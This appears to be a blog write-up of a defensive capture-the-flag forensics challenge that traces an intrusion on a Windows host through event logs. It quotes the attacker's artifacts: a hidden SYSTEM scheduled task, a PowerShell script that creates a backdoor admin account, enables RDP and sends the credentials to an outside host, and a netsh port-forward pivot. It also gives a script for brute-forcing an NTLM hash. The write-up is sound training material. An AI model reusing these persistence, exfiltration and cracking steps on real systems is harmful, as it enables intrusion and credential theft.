HTB Holmes CTF 2025 - The Enduring Echo

HTB Holmes CTF 2025 - The Enduring Echo

I participated in HackTheBox's first defensive-focused CTF event this week with my team Kapital, ending with a 4th place finish (and only seconds away from that 3rd place podium finish). In this CTF the main challenge I worked on was The Enduring Echo, a DFIR challenge where we are presented with KAPE output of a windows host to triage.

Description: LeStrade passes a disk image artifacts to Watson. It's one of the identified breach points, now showing abnormal CPU activity and anomalies in process logs.

What was the first (non cd) command executed by the attacker on the host?

To get here, we want to parse Security.evtx with EvtxEcmd to look through process creation events (Event ID 4688) to see what commands the attacker executed on the system. We can open the parsed Windows Event log with Timeline Viewer for easy filtering.

Within the command line logs, we search for cd and scroll down until we see some suspicious commands. Here we can work from any events from here and after looking for different commands from the attacker's session.

There was lots of normal noise that we need to sift through to understand what events were generated by the attacker. As they SSH in as werni in the top of the screenshot there, we can filter for events where the user is werni.

From the beginning of the cd commands we can see the attacker executing systeminfo as part of their enumeration.

Which parent process (full path) spawned the attacker’s commands?

We can see in the same event logs that these commands have a parent process located at C:\Windows\System32\wbem\WmiPrvSE.exe

Which remote-execution tool was most likely used for the attack?

Based on personal experience I already knew this was activity generated by wmiexec.py, all of the command line patterns and process hierarchy matches that in this article below:

Traces of Windows remote command execution
Traces of Windows remote command execution

What was the attacker’s IP address?

I assumed that the attacker's IP address would likely be present in the same batch of command line executions, so my first thought was to copy it all into CyberChef and extract IP addresses from them.

I was returned with IPv4 loopback and an internal IP address. To confirm, I searched for the IP in the .evtx to confirm the command line:

We can see here the threat actor creating a local DNS override, pointing connections towards NapoleonsBlackPearl.htb at the attacker's machine.

What is the first element in the attacker's sequence of persistence mechanisms?

Going back through the commands present in our attacker's session, the first persistence installation we can see is a scheduled task being registered with the following command:

C:\Windows\System32\cmd.exe cmd.exe /Q /c schtasks /create /tn "SysHelper Update" /tr "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Werni\Appdata\Local\JM.ps1" /sc minute /mo 2 /ru SYSTEM /f 1> \\127.0.0.1\ADMIN$\__1756076432.886685 2>&1

The flag for this question is the name of the task SysHelper Update.

Identify the script executed by the persistence mechanism.

The script in the scheduled task is located at C:\Users\Werni\Appdata\Local\JM.ps1

What local account did the attacker create?

So the event id for account creation in Security.evtx is 4720, filtering that for the host we know we're looking at in the few events present gives us this:

{"EventData":{"Data":[{"@Name":"TargetUserName","#text":"svc_netupd"},{"@Name":"TargetDomainName","#text":"HEISEN-9-WS-6"},{"@Name":"TargetSid","#text":"S-1-5-21-3871582759-1638593395-315824688-1003"},{"@Name":"SubjectUserSid","#text":"S-1-5-18"},{"@Name":"SubjectUserName","#text":"HEISEN-9-WS-6$"},{"@Name":"SubjectDomainName","#text":"WORKGROUP"},{"@Name":"SubjectLogonId","#text":"0x3E7"},{"@Name":"PrivilegeList","#text":"-"},{"@Name":"SamAccountName","#text":"svc_netupd"},{"@Name":"DisplayName","#text":"%%1793"},{"@Name":"UserPrincipalName","#text":"-"},{"@Name":"HomeDirectory","#text":"%%1793"},{"@Name":"HomePath","#text":"%%1793"},{"@Name":"ScriptPath","#text":"%%1793"},{"@Name":"ProfilePath","#text":"%%1793"},{"@Name":"UserWorkstations","#text":"%%1793"},{"@Name":"PasswordLastSet","#text":"%%1794"},{"@Name":"AccountExpires","#text":"%%1794"},{"@Name":"PrimaryGroupId","#text":"513"},{"@Name":"AllowedToDelegateTo","#text":"-"},{"@Name":"OldUacValue","#text":"0x0"},{"@Name":"NewUacValue","#text":"0x15"},{"@Name":"UserAccountControl","#text":", %%2080, %%2082, %%2084"},{"@Name":"UserParameters","#text":"%%1793"},{"@Name":"SidHistory","#text":"-"},{"@Name":"LogonHours","#text":"%%1797"}]}}

In this you can see username svc_netupd, which is the flag for this question.

What domain name did the attacker use for credential exfiltration?

Knowing that the attacker was SSH'd in via the user Werni, that was the flag for this question.

What password did the attacker's script generate for the newly created user?

Getting the answer to this question was definitely the most difficult point of this challenge. To begin this, we have to look back at the scheduled task we saw earlier called SysHelper Update. The task runs the specified PowerShell script JM.ps1 every two minutes as SYSTEM. Thankfully this script is present in the provided KAPE output, and the contents are the following:

# List of potential usernames
$usernames = @("svc_netupd", "svc_dns", "sys_helper", "WinTelemetry", "UpdaterSvc")

# Check for existing user
$existing = $usernames | Where-Object {
    Get-LocalUser -Name $_ -ErrorAction SilentlyContinue
}

# If none exist, create a new one
if (-not $existing) {
    $newUser = Get-Random -InputObject $usernames
    $timestamp = (Get-Date).ToString("yyyyMMddHHmmss")
    $password = "Watson_$timestamp"

    $securePass = ConvertTo-SecureString $password -AsPlainText -Force

    New-LocalUser -Name $newUser -Password $securePass -FullName "Windows Update Helper" -Description "System-managed service account"
    Add-LocalGroupMember -Group "Administrators" -Member $newUser
    Add-LocalGroupMember -Group "Remote Desktop Users" -Member $newUser

    # Enable RDP
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
    Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
    Invoke-WebRequest -Uri "http://NapoleonsBlackPearl.htb/Exchange?data=$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("$newUser|$password")))" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
}

From here, the idea is to find the exact timestamp the account was created/the script was executed at and manually build the $password variable for the flag. Finding the exact timestamp was giving our team a lot of trouble, but teammate profzzor came up with a solution of grabbing the user's NTLM hash from the SAM, taking the known earliest timestamp from when the account was created, then brute forcing with a simple python script:

svc_netupd:1003:aad3b435b51404eeaad3b435b51404ee:532303a6fa70b02c905f950b60d7da51:::

import hashlib

# The NTLM hash to crack (second part)
target_hash = "532303a6fa70b02c905f950b60d7da51"

# Known date
date = "20250824"

# Function to compute NTLM hash
def ntlm_hash(password):
    pw_bytes = password.encode('utf-16le')  # NTLM uses UTF-16LE
    return hashlib.new('md4', pw_bytes).hexdigest()

# Brute-force hours, minutes, seconds
for hour in range(24):
    for minute in range(60):
        for second in range(60):
            timestamp = f"{hour:02d}{minute:02d}{second:02d}"
            password = f"Watson_{date}{timestamp}"
            if ntlm_hash(password) == target_hash:
                print(f"[+] Password found: {password}")
                exit()

print("[-] Password not found")

The password for the user was Watson_20250824160509.

What was the IP address of the internal system the attacker pivoted to?

Scrolling further, we can see the following process event:

C:\Windows\System32\netsh.exe netsh  interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress=192.168.1.101 connectport=22

The flag here is 192.168.1.101.

Which TCP port on the victim was forwarded to enable the pivot?

Following the previous question, the listening port and flag is 9999.

What is the full registry path that stores persistent IPv4→IPv4 TCP listener-to-target mappings?

Windows stores netsh interface portproxy persistent mappings at HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp.

What is the MITRE ATT&CK ID associated with the previous technique used by the attacker to pivot to the internal system?

T1090.001 - Proxy: Internal Proxy

Before the attack, the administrator configured Windows to capture command line details in the event logs. What command did they run to achieve this?

This configuration is stored in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit under DWORD ProcessCreationIncludeCmdLine_Enabled, we can search for this in the evidence files and we see the command appearing in PowerShell console history logs.

The command issued was reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f.